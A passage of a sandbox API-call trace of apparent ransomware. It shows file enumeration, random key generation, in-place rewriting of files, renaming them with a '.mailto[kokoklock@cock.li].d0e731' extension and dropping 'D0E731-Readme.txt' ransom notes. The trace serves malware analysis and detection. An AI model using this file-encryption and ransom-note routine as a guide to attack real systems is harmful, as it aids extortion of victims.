dwFileAttributes=0x20) returned 0 [0084.514] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x3493d38 [0084.514] wcscpy (in: _Dest=0x3493d38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\" [0084.514] wcscat (in: _Dest=0x3493d38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\D0E731-Readme.txt" [0084.514] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\d0e731-readme.txt")) returned 0xffffffff [0084.514] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8e0 [0084.515] WriteFile (in: hFile=0x8e0, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2babf880, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2babf880*=0x481, lpOverlapped=0x0) returned 1 [0084.516] CloseHandle (hObject=0x8e0) returned 1 [0084.516] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493d38) returned 1 [0084.516] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f72d8) returned 1 [0084.516] RtlExitUserThread (Status=0x1) Thread: id = 1245 os_tid = 0x13ec [0084.517] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3487d78 [0084.517] wcscpy (in: _Dest=0x3487d78, _Source="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" [0084.517] wcscat (in: _Dest=0x3487d78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\" [0084.517] wcscat (in: _Dest=0x3487d78, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*" [0084.517] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f4d20 [0084.517] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*", lpFindFileData=0x33f4d20 | out: lpFindFileData=0x33f4d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0458 [0086.546] wcscmp (_String1=".", _String2=".") returned 0 [0086.546] FindNextFileW (in: hFindFile=0x33e0458, lpFindFileData=0x33f4d20 | out: lpFindFileData=0x33f4d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.546] wcscmp (_String1="..", _String2=".") returned 1 [0086.546] wcscmp (_String1="..", _String2="..") returned 0 [0086.546] FindNextFileW (in: hFindFile=0x33e0458, lpFindFileData=0x33f4d20 | out: lpFindFileData=0x33f4d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd26eb3fc, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0086.546] wcscmp (_String1="vcRuntimeAdditional_x86", _String2=".") returned 1 [0086.546] wcscmp (_String1="vcRuntimeAdditional_x86", _String2="..") returned 1 [0086.546] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe8) returned 0x348aba8 [0086.546] wcscpy (in: _Dest=0x348aba8, _Source="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" [0086.546] wcscat (in: _Dest=0x348aba8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\" [0086.546] wcscat (in: _Dest=0x348aba8, _Source="vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86" [0087.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x348aba8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x994 [0087.931] FindNextFileW (in: hFindFile=0x33e0458, lpFindFileData=0x33f4d20 | out: lpFindFileData=0x33f4d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd26eb3fc, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0087.931] FindClose (in: hFindFile=0x33e0458 | out: hFindFile=0x33e0458) returned 1 [0087.931] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f4d20) returned 1 [0087.931] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3487d78) returned 1 [0087.931] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431700) returned 1 [0087.931] RtlExitUserThread (Status=0x0) Thread: id = 1246 os_tid = 0x13f0 [0084.518] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm")) returned 0x20 [0084.519] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm", dwFileAttributes=0x20) returned 1 [0084.519] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8e0 [0084.519] GetFileSizeEx (in: hFile=0x8e0, lpFileSize=0x2bbbfb90 | out: lpFileSize=0x2bbbfb90*=750) returned 1 [0084.519] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x2ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.519] ReadFile (in: hFile=0x8e0, lpBuffer=0x2bbbfb64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bbbfb60, lpOverlapped=0x0 | out: lpBuffer=0x2bbbfb64*, lpNumberOfBytesRead=0x2bbbfb60*=0x4, lpOverlapped=0x0) returned 1 [0084.521] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.521] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d578 [0084.521] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0084.521] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d6b8 [0084.521] NtQuerySystemTime (in: CurrentTime=0x2bbbfb3c | out: CurrentTime=0x2bbbfb3c*=132121176424141639) returned 0x0 [0084.521] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0x630564af [0084.521] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0x3cb001db [0084.521] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0xeb936523 [0084.521] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0xde912895 [0084.521] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0x5604826f [0084.521] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0xcbe265df [0084.521] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0x931b6910 [0084.521] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0x6994c6e6 [0084.521] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0x4c32d248 [0084.521] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0x44ff8ff2 [0084.521] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0x65ac0a73 [0084.521] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0xde02d039 [0084.521] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0xfaa4c7ef [0084.521] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0x120aa5f4 [0084.521] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0x5d45707c [0084.521] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0xbeba6bc1 [0084.521] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0xfb2d02d [0084.521] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0x24ad405 [0084.521] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0xd3fee4d2 [0084.521] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0xbdbe9ed2 [0084.521] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0x2beb60a6 [0084.521] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0xf8b0c2fa [0084.521] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0xcbbf56fb [0084.521] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0xa49dacdb [0084.521] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0x643de90b [0084.521] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0x609fa1bc [0084.522] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0x57b7e2aa [0084.522] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0x583defe1 [0084.522] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0x5b9671b9 [0084.522] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0xa2cfb806 [0084.522] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0xf3262e35 [0084.522] RtlRandom (in: Seed=0x2bbbfb48 | out: Seed=0x2bbbfb48) returned 0xee3280b0 [0084.533] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34805e8) returned 1 [0084.533] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d578) returned 1 [0084.533] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0084.533] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fdf0 [0084.533] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d578 [0084.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d578) returned 1 [0084.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0084.534] ReadFile (in: hFile=0x8e0, lpBuffer=0x34b6388, nNumberOfBytesToRead=0x2ee, lpNumberOfBytesRead=0x2bbbfb3c, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesRead=0x2bbbfb3c*=0x2ee, lpOverlapped=0x0) returned 1 [0084.534] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbbfb04 | out: lpNewFilePointer=0x0) returned 1 [0084.534] WriteFile (in: hFile=0x8e0, lpBuffer=0x55d8058*, nNumberOfBytesToWrite=0x2ee, lpNumberOfBytesWritten=0x2bbbfb38, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesWritten=0x2bbbfb38*=0x2ee, lpOverlapped=0x0) returned 1 [0084.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d578 [0084.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d988 [0084.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d988) returned 1 [0084.534] WriteFile (in: hFile=0x8e0, lpBuffer=0x342d578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2bbbfb34, lpOverlapped=0x0 | out: lpBuffer=0x342d578*, lpNumberOfBytesWritten=0x2bbbfb34*=0x20, lpOverlapped=0x0) returned 1 [0084.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d578) returned 1 [0084.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0084.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0084.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0084.534] WriteFile (in: hFile=0x8e0, lpBuffer=0x342d320*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2bbbfb60, lpOverlapped=0x0 | out: lpBuffer=0x342d320*, lpNumberOfBytesWritten=0x2bbbfb60*=0x8, lpOverlapped=0x0) returned 1 [0084.534] WriteFile (in: hFile=0x8e0, lpBuffer=0x2bbbfb78*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2bbbfb60, lpOverlapped=0x0 | out: lpBuffer=0x2bbbfb78*, lpNumberOfBytesWritten=0x2bbbfb60*=0x4, lpOverlapped=0x0) returned 1 [0084.534] WriteFile (in: hFile=0x8e0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2bbbfb60, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2bbbfb60*=0x4, lpOverlapped=0x0) returned 1 [0084.535] WriteFile (in: hFile=0x8e0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2bbbfb60, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2bbbfb60*=0x6c, lpOverlapped=0x0) returned 1 [0084.535] WriteFile (in: hFile=0x8e0, lpBuffer=0x342d618*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2bbbfb60, lpOverlapped=0x0 | out: lpBuffer=0x342d618*, lpNumberOfBytesWritten=0x2bbbfb60*=0x20, lpOverlapped=0x0) returned 1 [0084.535] WriteFile (in: hFile=0x8e0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2bbbfb60, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2bbbfb60*=0x4, lpOverlapped=0x0) returned 1 [0084.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0084.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d6e0) returned 1 [0084.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d320) returned 1 [0084.535] CloseHandle (hObject=0x8e0) returned 1 [0084.535] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe6) returned 0x348a338 [0084.535] wcscpy (in: _Dest=0x348a338, _Source="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" [0084.535] wcscat (in: _Dest=0x348a338, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.mailto[kokoklock@cock.li].d0e731" [0084.535] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.537] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.538] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a338) returned 1 [0084.538] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm", dwFileAttributes=0x20) returned 0 [0084.538] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x3431040 [0084.538] wcscpy (in: _Dest=0x3431040, _Source="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" [0084.538] wcscat (in: _Dest=0x3431040, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\D0E731-Readme.txt" [0084.538] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\d0e731-readme.txt")) returned 0xffffffff [0084.538] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8e0 [0084.538] WriteFile (in: hFile=0x8e0, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2bbbfb5c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2bbbfb5c*=0x481, lpOverlapped=0x0) returned 1 [0084.539] CloseHandle (hObject=0x8e0) returned 1 [0084.539] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431040) returned 1 [0084.539] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f01d0) returned 1 [0084.539] RtlExitUserThread (Status=0x1) Thread: id = 1247 os_tid = 0x13f4 [0084.520] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe")) returned 0x20 [0084.540] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe", dwFileAttributes=0x20) returned 1 [0084.540] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8e0 [0084.540] GetFileSizeEx (in: hFile=0x8e0, lpFileSize=0x2bc3fc70 | out: lpFileSize=0x2bc3fc70*=781872) returned 1 [0084.540] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0xbee2c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.541] ReadFile (in: hFile=0x8e0, lpBuffer=0x2bc3fc44, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bc3fc40, lpOverlapped=0x0 | out: lpBuffer=0x2bc3fc44*, lpNumberOfBytesRead=0x2bc3fc40*=0x4, lpOverlapped=0x0) returned 1 [0084.542] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.542] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d578 [0084.542] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0084.542] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d6e0 [0084.542] NtQuerySystemTime (in: CurrentTime=0x2bc3fc1c | out: CurrentTime=0x2bc3fc1c*=132121176424298437) returned 0x0 [0084.542] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0x2c57e0d4 [0084.542] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0x1b11cb81 [0084.542] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0x540e3aa5 [0084.542] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0x52c7b590 [0084.542] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0xc5198f96 [0084.542] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0x75c62ba [0084.542] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0x4fa7557 [0084.542] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0x869aec0a [0084.542] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0xde56b4f7 [0084.542] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0x766de889 [0084.542] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0x9951a03d [0084.542] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0x86cce94c [0084.542] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0x7122bbe5 [0084.542] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0x5c0c0f7c [0084.542] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0xdd304b2b [0084.542] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0xa1fff4ad [0084.542] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0x18fc97e6 [0084.543] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0x6388c3c0 [0084.543] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0xdee953ad [0084.543] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0x8e4d9a17 [0084.543] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0x7f73e3ca [0084.543] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0xda6bfb8b [0084.543] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0x1b4d8148 [0084.543] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0x8ab83b55 [0084.543] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0xeb464f32 [0084.543] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0x2722ef1e [0084.543] RtlRandom (in: 